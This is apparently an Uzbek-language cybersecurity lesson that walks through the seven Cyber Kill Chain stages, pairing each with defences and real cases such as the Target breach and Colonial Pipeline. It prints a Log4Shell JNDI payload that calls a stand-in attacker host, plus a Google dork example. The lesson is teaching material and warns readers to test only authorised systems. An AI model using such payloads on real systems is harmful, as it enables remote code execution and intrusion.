# Kiberhujum qanday ishlaydi? — Hujumning 7 bosqichi > Politsiya jinoyatchilarni tutish uchun ulardek fikrlashni o'rganadi. Biz ham hujumni tushunmasdan uni to'xtatib bo'lmaymiz. ![Cyber Kill Chain va MITRE ATT&CK Framework — 7 bosqich va taktikalar matritsasi](/media/ground_zero/screenshots/cyber_kill_chain_1777723083483.png) ## 🔍 Darsdan oldin bir daqiqa > **O'ylab ko'ring:** Bir o'g'ri do'konga kirishdan oldin nima qiladi — to'g'ridan-to'g'ri kirib ketadimi yoki oldin kuzatib o'tiradimi? > > _(Javobingizni eslab qoling — dars oxirida bu kiberhujumga qanday bog'liqligini ko'rasiz.)_ ## 🎯 Bu darsdan keyin siz - Kiberhujumning 7 bosqichini nomlab bera olasiz - Har bosqichda himoyachi nima qilishi mumkinligini tushunasiz - "Razvedka" va "ekspluatatsiya" so'zlarini tushuntira olasiz - Target Data Breach hujumi qanday sodir bo'lganini hikoya qilib bera olasiz --- ## Hujum — bu bir zumda bo'lmaydi 🌍 Tasavvur qiling: o'g'ri bank omboriga kirmoqchi. U avval binoni kuzatadi, qo'riqchilar jadvalini yodlaydi, qulfni o'rganadi, kalit yasaydi, keyin kirib, xavfsizlik kamerasini o'chiradi va nihoyat seyfga yetadi. 📖 Kiberhujum ham xuddi shunday — bir zumda bo'lmaydi. **Cyber Kill Chain** (saber kil cheyn — hujum zanjiri) — bu hujumning **7 ta ketma-ket bosqichi**ni ko'rsatuvchi model. Uni 2011-yilda **Lockheed Martin** (AQSh mudofaa kompaniyasi) yaratgan. "Kill chain" iborasi harbiydan olingan: dushman zarbasini yetkazish uchun bir necha bosqichni ketma-ket bosib o'tishi kerak, va istalgan bo'g'inni uzsang — butun zarba barbod bo'ladi. 🛡️ Bu model muhim, chunki hujumni **istalgan bosqichda to'xtatish mumkin**. Qancha ertaroq to'xtatilsa — shuncha kam zarar. 🔎 Keling, har bosqichni ko'ramiz. !!! tip "Asosiy g'oya — bir gapda" Hujum = zanjir. Zanjirning bitta halqasini uzsang, zarba yetib bormaydi. Himoyachining vazifasi — eng arzon, eng erta uziladigan halqani topish. --- ## 7 bosqich — sodda ko'rinish ```text title="Hujum zanjiri — qisqacha" Razvedka -> Qurollanish -> Yetkazish -> Ekspluatatsiya -> O'rnatish -> C2 Aloqa -> Maqsadga Yetish ``` Yoki diagramma ko'rinishida — har bosqichdan keyin himoyachi nima qilishini ham qo'shdik: ```mermaid flowchart LR R["1. Razvedka
(kuzatish)"] --> W["2. Qurollanish
(qurol yasash)"] W --> D["3. Yetkazish
(jo'natish)"] D --> E["4. Ekspluatatsiya
(kirish)"] E --> I["5. O'rnatish
(joylashish)"] I --> C2["6. C2 Aloqa
(boshqarish)"] C2 --> A["7. Maqsadga Yetish
(yakuniy amal)"] ``` !!! info "Diagrammani qanday o'qish kerak" Strelka chapdan o'ngga — vaqt oqimi. Hujumchi 1-dan 7-gacha siljiydi. Himoyachi esa har bir strelkani "kesib" tashlashga harakat qiladi. --- ## 1-Bosqich: Razvedka — kuzatish 🌍 Darsdan oldingi misolimizdagi o'g'ri binoni kuzatgan edi. Kiberhujumchi ham avval maqsadini kuzatadi. 📖 **Razvedka (Reconnaissance — rekonissans)** — hujumchi maqsad haqida ma'lumot yig'adigan bosqich. Bu ikki xil bo'ladi: - **Passiv razvedka** — maqsad sezmaydigan usullar. Masalan, Google'da qidirish, LinkedIn profillarini o'qish, kompaniyaning ochiq saytlarini ko'rish. - **Aktiv razvedka** — maqsad payqashi mumkin bo'lgan usullar. Masalan, uning kompyuter portlarini "taqillatib" ko'rish. 🛡️ Bu bosqich muhim, chunki yaxshi razvedka muvaffaqiyatli hujumning asosi. Shuning uchun kompaniyalar o'z haqidagi ochiq ma'lumotlarni nazorat qiladi. 🔎 **Real misol — Target do'koni (2013):** Hujumchilar avval Target ning **isitish-shamollatish tizimi ta'mirchisi** — Fazio Mechanical Services kompaniyasini kuzatdi. Bu kichik kompaniya Target ning ichki tarmog'iga ulangan edi. Hujumchilar Fazio xodimiga fishing (phishing — aldov) xati yuborib, uning parolini o'g'irladi va Target ichki tarmog'iga kirdi. Natija: 40 million kredit karta ma'lumoti o'g'irlandi, ~$292 million zarar. **Saboq:** Hujumchi doim eng zaif halkani qidiradi — bu to'g'ridan-to'g'ri maqsad ham bo'lmasligi mumkin. ```mermaid flowchart LR H["Hujumchi"] -->|"fishing xati"| F["Fazio
(kichik ta'mirchi)"] F -->|"o'g'irlangan parol"| N["Target ichki tarmog'i"] N --> P["To'lov terminallari (POS)"] P --> C["40M karta ma'lumoti"] ``` !!! warning "Keng tarqalgan xato — 'biz kichikmiz, bizga kerak emas'" Fazio katta emas edi. Ammo u katta nishonga ulangan eshik edi. Hujumchi ko'pincha to'g'ridan-to'g'ri qal'aga emas, qal'aga ulangan eng zaif darvozaga zarba beradi. ### Razvedkada ishlatiladigan vositalar | Vosita | Nima qiladi | Turi | |--------|-------------|------| | Google Dorking (`site:kompaniya.com filetype:pdf`) | Ochiq fayllarni topadi | Passiv | | LinkedIn, GitHub ko'rish | Xodimlar, texnologiyalar haqida | Passiv | | Shodan | Internetga ulangan qurilmalarni qidiradi | Passiv | | Nmap | Portlarni skanerlaydi | Aktiv | --- ## 2-Bosqich: Qurollanish — qurol yasash 🌍 O'g'ri qulfni o'rganib bo'lgach, unga mos kalit yasaydi. Hujumchi ham shu qadamda "kalit"ni tayyorlaydi. 📖 **Qurollanish (Weaponization — vepanizeyshn)** — hujumchi razvedka natijalariga asosan **zaiflikdan foydalanadigan qurol** tayyorlaydi. Bu qurolda ikki qism bo'ladi: - **Exploit (eksploit)** — zaiflikni ochib beradigan kod (qulfni "sindiradigan" kalit). - **Payload (peyload)** — exploit ishlasa bajariladigan zararli amal (masalan, fayllarni shifrlash yoki hujumchiga boshqaruv berish). Bu — kalit ochgan eshikdan kirib qiladigan ishi. 🛡️ Agar zaiflik vaqtida yopilib (patch qilinib) tursa, exploit ishlamaydi. Shuning uchun dasturlarni yangilab turish muhim. 🔎 Misol: Hujumchi Word hujjat ichiga zararli makros (macro — avtomatik bajariluvchi buyruq) joylaydi. Qurbon hujjatni ochganda, makros ishga tushib, hujumchiga kirish beradi. !!! info "Exploit vs Payload — farqni eslab qoling" **Exploit** = eshikni ochadigan kalit (kirish usuli). **Payload** = ichkarida bajariladigan ish (zarar). Bittasi yo'q bo'lsa, hujum to'liq emas. --- ## 3-Bosqich: Yetkazish — qurolni jo'natish 🌍 Kalit yasab bo'lgach, o'g'ri uni biror yo'l bilan binoga olib kirishi kerak. 📖 **Yetkazish (Delivery — deliviri)** — qurollantirilgan payload qurbonga yetkaziladi. 🛡️ Yetkazishni to'xtatish — eng arzon himoya. Email filtri, brauzer himoyasi, USB bloki — bularning barchasi shu bosqichda ishlaydi. 🔎 Ko'p uchraydigan usullar: | Usul | Tavsif | Qanchasi? | |------|--------|-----------| | **Fishing xati (Phishing email)** | Zararli fayl yoki havola bilan xat | Hujumlarning ~91% shu yerdan boshlanadi | | **Watering Hole** | Qurbon tez-tez kiradigan saytni buzish | APT guruhlarida ko'p | | **USB Drop** | Parking joyiga "tashlab ketilgan" USB | Fizik kirish | | **Ta'minot zanjiri (Supply Chain)** | Rasmiy dastur yangilanishiga virus qo'shish | Eng xavflisi | !!! example "Amaliy misol — USB Drop" Tadqiqotchilar avtoturargohga 297 ta USB tashlab qo'yishgan. Topilganlarning ~45 foizini odamlar kompyuterga ulagan. Qiziquvchanlik — eng arzon "yetkazish" kanali. > **Verizon DBIR 2024:** Buzilishlarning katta qismida **inson omili** (xato yoki aldov) ishtirok etadi. O'rtacha fishing xati yuborilgandan keyin dastlabki daqiqalar ichida birinchi marta bosiladi — ya'ni reaksiya juda tez kerak. --- ## 4-Bosqich: Ekspluatatsiya — qulfni ochish 🌍 O'g'ri tayyorlagan kalitini qulfga soladi va eshikni ochadi. 📖 **Ekspluatatsiya (Exploitation — eksploiteyshn)** — payload qurbonga yetgach, zaiflik (vulnerability — tizimdagi nuqson) ishlatiladi va hujumchi tizimga kiradi. 🛡️ Dasturlarni yangilab turish (patch management) bu bosqichni oldini oladi. Yangilanmagan dasturlar — ochiq qulf. 🔎 **Real misol — Log4Shell (CVE-2021-44228):** CVE (Common Vulnerabilities and Exposures — umumiy zaifliklar ro'yxati) raqami CVE-2021-44228 bo'lgan zaiflik 2021-yil dekabrda topildi. Apache Log4j (Java dasturlash tili uchun ommalashgan jurnal kutubxonasi) da shunday nuqson bor edi — quyidagi oddiy matnni log ga yozishni so'rasa: ```text title="Log4Shell — zararli matn" ${jndi:ldap://hujumchi.com/exploit} ``` ...tizim hujumchining serveriga ulanib, u yerdan kodni yuklab bajarardi. Yuz minglab Java ilova — Minecraft, iCloud, ko'plab bulut xizmatlari — zaif edi. CVSS (zaiflik xavf darajasi o'lchovi) bo'yicha **10.0 dan 10.0** — maksimal xavf. !!! danger "Etika va qonun" Log4Shell kabi zaifliklarni FAQAT o'zingizning yoki yozma ruxsat berilgan tizimda sinab ko'rish mumkin. Boshqaning serverida exploit ishga tushirish — O'zR JK 278-moddasi bo'yicha jinoyat. Biz buni HIMOYA qilishni o'rganish uchun tahlil qilamiz. --- ## 5-Bosqich: O'rnatish — ichkariga joylashish 🌍 O'g'ri kirdi, endi u ichkarida qolish uchun yashirin kalit nusxasini qoldirib ketadi — keyingi safar qulfni sindirmasdan kirsin. 📖 **O'rnatish (Installation — instaleyshn)** — hujumchi tizimda **doimiy mavjudlik (persistence — persistens)** o'rnatadi. Maqsad: tizim qayta ishga tushsa ham, parol o'zgarsa ham — kirib turish. 🛡️ **EDR (Endpoint Detection and Response — qurilma kuzatuv va javob tizimi)** deb atalgan himoya dasturlari bu bosqichni aniqlaydi — chunki ular yangi avtomatik ishga tushadigan fayl yoki yangi foydalanuvchini darrov sezadi. 🔎 Ko'p ishlatiladigan usullar: - **Backdoor (bekdor)** — yashirin kirish eshigi. - **Web Shell** — serverga joylashtirilgan yashirin boshqaruv paneli. - **Registry Run Key** — Windows da tizim yoqilganda avtomatik ishga tushadigan fayl ro'yxatiga qo'shilish. - **Yangi foydalanuvchi yaratish** — `sysbackup` kabi shubhali nomli, lekin "jiddiy" ko'rinadigan hisob. !!! tip "Himoyachiga maslahat" "Yangi avtorun yozuvi paydo bo'ldimi?", "Kechasi yangi admin hisob ochildimi?" — shu savollar persistence ni fosh qiladi. Avtomatik ishga tushadigan har bir narsani inventarizatsiya qiling. --- ## 6-Bosqich: C2 Aloqa — masofadan boshqarish 🌍 O'g'ri ichkaridan vaqti-vaqti bilan tashqaridagi xo'jayiniga qo'ng'iroq qilib, yangi buyruqlar oladi. 📖 **C2 (Command and Control — buyruq va nazorat)** — hujumchi buzilgan tizimni masofadan boshqaradi. C2 kanali — bu hujumchi va buzilgan tizim o'rtasidagi yashirin aloqa yo'li. Buzilgan kompyuterning "jim" turib, vaqti-vaqti bilan xo'jayiniga ulanishi **beacon** (mayoq) deb ataladi. 🛡️ DNS filtri va tarmoq monitoringi bu aloqani aniqlaydi va kesadi. 🔎 **Real misol — Colonial Pipeline (2021):** DarkSide ransomware guruhi AQSh ning eng katta yoqilg'i quvuriga kirdi. Ular C2 aloqasini qisman **Tor** (Tor — anonim internet tarmog'i) orqali olib bordi. Natijada quvur **6 kun** to'xtab, ~$4.4 million to'lov to'landi (keyinchalik bir qismi qaytarib olindi). | C2 kanali | Afzalligi | Kamchiligi | |-----------|-----------|------------| | HTTPS | Oddiy trafik kabi ko'rinadi | SSL/TLS tekshiruvi aniqlaydi | | DNS Tunneling | Firewall dan o'tadi | Katta hajm seziladi | | Tor | Anonim | Tor trafik bloklanishi mumkin | ```mermaid sequenceDiagram participant V as Buzilgan kompyuter participant C as C2 Server (hujumchi) loop Har bir necha daqiqada (beacon) V->>C: "Men tirikman, buyruq bormi?" C-->>V: "Ha: parollarni yig'ib yubor" V->>C: Yig'ilgan ma'lumot end ``` --- ## 7-Bosqich: Maqsadga Yetish — yakuniy amal 🌍 O'g'ri seyfni ochib, nima olishini hal qiladi: pul, hujjat, yoki butun seyfni portlatib ketadi. 📖 **Maqsadga Yetish (Actions on Objectives — ekshns on objektivz)** — hujumchi nima uchun hujum qilganini amalga oshiradi. 🛡️ **DLP (Data Loss Prevention — ma'lumot yo'qolishini oldini olish)** va backup (zaxira nusxa) tizimlar bu bosqichda zarar hajmini kamaytiradi. 🔎 Turli maqsadlar: | Maqsad | Misol | Ta'siri | |--------|-------|---------| | **Ma'lumot o'g'irlash** | Mijozlar bazasi | Intellektual mulk yo'qotish | | **Ransomware** | Fayllarni shifrlash, to'lov talab | Colonial Pipeline — ~$4.4M | | **Josuslik** | Davlat sirlari | Milliy xavfsizlik | | **Buzish** | Tizimlarni ishdan chiqarish | NotPetya — ~$10B zarar | | **Kripto-mining** | Server resurslarini o'g'irlash | Elektr sarfi, sekinlashish | --- ## Zanjirni qayerda uzish mumkin? Eng muhim tushuncha: **hujumchi har bir bosqichda to'xtatilishi mumkin**. Qancha ertaroq — shuncha yaxshi va arzon. ```mermaid flowchart TB R["Razvedka"] --> RH["Himoya: hujum yuzasi monitoringi, honeypot"] W["Qurollanish"] --> WH["Himoya: tahdid razvedkasi (threat intel)"] D["Yetkazish"] --> DH["Himoya: email filtri, sandbox"] E["Ekspluatatsiya"] --> EH["Himoya: patch, WAF"] I["O'rnatish"] --> IH["Himoya: EDR, HIDS"] C["C2 Aloqa"] --> CH["Himoya: DNS filtri, NGFW"] A["Maqsadga Yetish"] --> AH["Himoya: DLP, backup"] ``` So'z diagrammasi (Mermaidsiz, har qurilmada ko'rinadi): ```text title="Bosqich -> Himoya chorasi" Razvedka -> Hujum yuzasi monitoringi, honeypot Qurollanish -> Tahdid razvedkasi (threat intelligence) Yetkazish -> Email filtri, sandbox Ekspluatatsiya-> Patch, WAF (Web Application Firewall) O'rnatish -> EDR, HIDS C2 Aloqa -> DNS filtri, NGFW Maqsad -> DLP, backup ``` > **Atamalar:** WAF (Web Application Firewall) — veb-ilovani himoya qiluvchi devor. HIDS (Host-based Intrusion Detection System) — alohida kompyuterda buzilishni aniqlovchi tizim. NGFW (Next-Generation Firewall) — ilg'or xavfsizlik devori. !!! tip "Qiyin tuyulyaptimi? Bu normal." 7 ta bosqichning barchasini yod olish shart emas. Muhimi — hujum bir zumda bo'lmasligini va har bosqichda to'xtatish imkoni borligini tushunish. --- ## Kill Chain ning cheklovlari Bu model kuchli, lekin mukammal emas: 1. **Chiziqli model** — haqiqiy hujumlar har doim ketma-ket bormaydi; ba'zida bosqichlar qaytariladi yoki o'tkazib yuboriladi. 2. **Ichki hujumchi** — niyati buzuq xodim bo'lsa, 1-3 bosqichlarni o'tkazib yuboradi (u allaqachon ichkarida). 3. **Bulut muhiti** — an'anaviy tarmoq chegarasi yo'q; "perimetr" tushunchasi xira. 4. **"Tizim vositalaridan foydalanish" (Living off the Land)** — hujumchi PowerShell, WMI kabi tizimning o'z vositalarini ishlatsa, yangi zararli fayl bo'lmaydi va aniqlash qiyinlashadi. Aynan shu kamchiliklar uchun **MITRE ATT&CK** framework yaratilgan — bu keyingi darsda. --- ## ⚠️ Keng tarqalgan xatolar | Noto'g'ri tushuncha | Haqiqat | |---------------------|---------| | "Hujumchi birdaniga tizimga kiradi" | Hujum odatda kunlar, haftalar, ba'zida oylar davom etadi | | "Faqat katta kompaniyalar hujumga uchraydi" | Kichik kompaniyalar ham hujumda vosita sifatida ishlatiladi (Target -> Fazio misoli) | | "Antivirus bo'lsa yetarli" | Antivirus asosan ma'lum zararli dasturlarni aniqlaydi; Kill Chain ning ko'p bosqichi antivirusni chetlab o'tadi | ## ✅ Tez tekshiruv — bilasizmi? **Savol:** Target do'koniga hujum qachon to'xtatilishi mumkin edi va eng oson bosqich qaysi edi?

Javobni ko'rish

Hujum **1-bosqich (Razvedka)** da to'xtatilishi mumkin edi — agar Fazio Mechanical Services kuchli parol va ko'p faktorli autentifikatsiya (multi-factor authentication — ikki qadam tasdiqlash) ishlatganida. Shuningdek, **3-bosqich (Yetkazish)** da — fishing xatini aniqlash oson, chunki u aldov belgisi bilan keladi. Eng oson bosqich — yetkazish: yaxshi email filtri fishing xatlarining katta qismini to'xtatadi.

??? note "Tez tekshiruv: 'kill chain' nega harbiy iboradan olingan?" Chunki harbiy zarbada ham dushmanga yetib borish uchun ketma-ket bo'g'inlar (aniqlash -> nishonga olish -> zarba) bor. Bitta bo'g'inni uzsang, butun zanjir ishlamaydi. Aynan shu g'oya kiberhujumga ko'chirilgan. ## 🧪 O'zingiz sinab ko'ring Xavfsiz mashq: Google da `site:` operatori bilan o'z maktabingiz yoki universitetingiz haqida ochiq ma'lumotlarni qidiring. ```text title="Google dork — passiv razvedka misoli" site:maktabingiz.uz filetype:pdf ``` Qanday ma'lumotlar ochiq turibdi? Bu razvedka bosqichida hujumchi nima ko'rishi mumkinligini tushunishga yordam beradi. !!! danger "Faqat o'zingizni tekshiring" `site:` operatori bilan FAQAT o'zingizga tegishli yoki ruxsat berilgan saytni qidiring. Boshqaning tizimini skanerlash, port "taqillatish" — ruxsatsiz bo'lsa jinoyat (O'zR JK 278-modda). ## ⚖️ Etika eslatmasi Biz hujumni tushunamiz, chunki shundagina himoya qila olamiz. Birovning tizimiga ruxsatsiz kirish — jinoyat. O'zbekiston Respublikasi Jinoyat Kodeksining 278-moddasi bo'yicha kompyuter ma'lumotlariga ruxsatsiz kirish jazo ko'radi. Har doim faqat o'z tizimingizda yoki ruxsat olingan muhitda amaliyot qiling. ## ✅ Eng muhimi - Kiberhujum 7 bosqichdan iborat zanjir: razvedka -> qurollanish -> yetkazish -> ekspluatatsiya -> o'rnatish -> C2 -> maqsad - Hujumchi doim **eng zaif halkani** qidiradi — bu to'g'ridan-to'g'ri maqsad bo'lmasligi mumkin - **Istalgan bosqichda to'xtatish mumkin** — qancha ertaroq, shuncha yaxshi - Razvedkadan oldingi savol: o'g'ri binoni kuzatib o'tiradi — ha, kiberhujumchi ham aynan shunday qiladi ## ➡️ Keyingi qadam **Keyingi dars:** MITRE ATT&CK Framework — u yerda Kill Chain ning 7 bosqichini 200+ aniq texnikaga bo'lamiz. **Hayotda qo'llang:** Bugun ishlaydigan dasturlaringizni tekshiring — yangilanish bor-yo'qligini ko'ring. Yangilanmagan dastur — ochiq qulf. **1 soatdan keyin eslab ko'ring:** Kill Chain ning 7 bosqichini yozmasdan ayta olasizmi? Sinab ko'ring.

Kiberhujumlar Tahlili

Kiberhujumlar Tahlili — Cyber Kill Chain va Hujum Anatomiyasi